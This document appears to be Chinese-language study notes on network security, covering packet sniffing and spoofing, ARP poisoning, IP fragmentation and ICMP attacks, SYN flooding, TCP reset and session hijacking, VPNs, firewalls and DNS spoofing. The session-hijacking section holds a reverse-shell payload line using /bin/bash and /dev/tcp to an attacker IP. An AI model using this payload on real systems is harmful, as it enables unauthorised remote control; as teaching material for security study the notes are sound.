1. SNIFFING & SPOOFING
PACKET SNIFFING 监听
正常接收包:NIC网卡硬件判定MAC地址是否接收 - Ring Buffer - 链路驱动 - 协议栈判断是否接收包
Raw Socket:从链路层获得一copy
抓包工具:Tcpdump、Wireshark、Scapy(python库函数)
PACKET SPOOFING 伪造
正常发送包:将数据逐层加上每层协议的头部
Raw Socket:将package直接插入到某一层
攻击方法:Sniff Request & Spoof Reply
2. ARP Protocol and Attack
Network Interface
网卡NIC:物理/虚拟
虚拟NIC:Loopback Interface(127.0.0.1),Dummy Interface
以太帧Ethernet Frame:MAC Header + Payload + Checksum
安全隐患:以太帧会暴露MAC地址
ARP Protocol and Attack
将IP地址解析为MAC地址(request,reply)
ARP Cache Poisoning Attack:发送虚假地址信息(spoof)污染地址解析表
使用scapy创建:frame = ether/arp
攻击目的:MITM(Man-In-The-Middle)使得攻击者在两个对话者中间
攻击步骤:ARP Cache攻击,截获包(ip_forward),修改包(checksum)
3. IP Protocol and Attack
IP层:路由,尽力交付
Fragmentation分片
对于分片的攻击:用小包耗费服务器大量资源来处理(设置大的偏移量骗取缓冲区),The Ping-of-Death Attack构造一个大于64K的包来引起内存溢出,Teardrop Attack设置分片的重叠
Routing路由
ICMP协议:发送错误信息/操作信息
Smurf Attack发送ICMP广播通过大量回复消耗资源
通过ICMP重定向完成MITM:发送ICMP Redirect信息改变路由
4. TCP Protocol and Attack
TCP协议
端口到端口,可靠传输
实现:send/receive buffers,ack num
流量控制:滑动窗口
SYN Flooding Attack
3-way handshake三次握手:第一次握手后服务器会维持一个SYN队列,直到第三次握手的包到达后,转存入接收队列
攻击者使用随机IP地址向服务器发送连接请求,占满SYN队列空间
使用python实现时,速度是C的1/40,往往会攻击失败
如果随机的IP地址确实存在,被攻击的服务器可能会受到RST回复,导致队列
解决方案:SYN Cookie,队列快满时,不再用队列存储一次握手信息,直接记录seq数值
TCP RESET ATTACK
关闭TCP连接:RST(直接断开)或者FIN(握手断开)
攻击方法:伪造reset包(需要正确的IP和端口号以及seq号,因此往往需要监听)
TCP Session Hijacking
伪造包发送到会话中,往往将命令发给服务端
也可以发送一个seq=x+δ的包,占用receive buffer
在数据部分写入远程命令:Reverse Shell
data = "\n/bin/bash -i >/dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"
注意到,攻击后会造成seq的紊乱,所以双方会持续给对方发包同时丢弃但对方发来的包
案例:Kevin Mitnick Attack
5. Virtual Private Network
功能:进入内网,翻墙
两种实现方式:SSH Tunnel(Port Forwarding)或IP Tunneling
区别在于后者直接由系统路由来分配路径
IP Tunneling的实现:IPSec Approach(内核层),SSL/TLS Approach(用户层)
有tun/tap两种网卡实现方法
具体流程:利用Tun Interface获取package,由Tun Program将报文封装,再从Socket Interface放入IP Tunnel中,到达后同样依次经过Socket Interface,Tun Program,Tun Interface解封
6. Firewall 防火墙
方向:Ingress Firewall,Egress Firewall
功能:Packet Filter(针对每个packet,stateless),Stareful Firewall(根据多个packet),Applocation/Proxy Firewall
Netfilter Hooks
可以应用于Stateless/Stateful Firewall,NAT,Packet Modification
选项:NF_ACCEPT,NF_DROP,……
IPTABLES
用于设置防火墙,选项有ACCEPT,DROP,RETURN,LOG,Target Extension
除设置Firewall外,IPTABLE还可用于
Bypassing Firewall
通过漏洞或隧道
7. DNS and Attack
DNS Domain Hierarchy:根root—顶级域名TLD—……
DNS查询:Local DNS Server保存有DNS Cache
DNS Package格式
攻击方式:监听并伪造DNS回复,更改DNS查询的路径,污染DNS Cache
根据格式构造DNS response
伪造DNS回复时,需要通过监听获得Destination Port和Transaction ID